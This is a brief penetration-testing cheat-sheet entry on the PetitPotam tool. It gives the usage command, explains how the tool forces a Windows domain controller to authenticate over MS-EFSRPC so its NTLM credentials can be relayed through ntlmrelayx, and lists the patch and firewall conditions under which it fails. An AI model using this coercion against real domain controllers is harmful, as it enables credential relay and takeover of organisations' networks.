PetitPotam

python PetitPotam.py <listener-ip> <dc-ip>

Forces a domain controller to authenticate against an NTLM server via the MS-EFSRPC protocol (PetitPotam).

When you want to capture NTLM hashes from the DC via a relay. PetitPotam forces the DC to authenticate against an NTLM server you control (e.g., ntlmrelayx). This allows relaying DC authentication to other services.

If the DC has security patches against PetitPotam (CVE-2021-36942). Also if the firewall blocks port 445 or the DC does not have the RPC service exposed.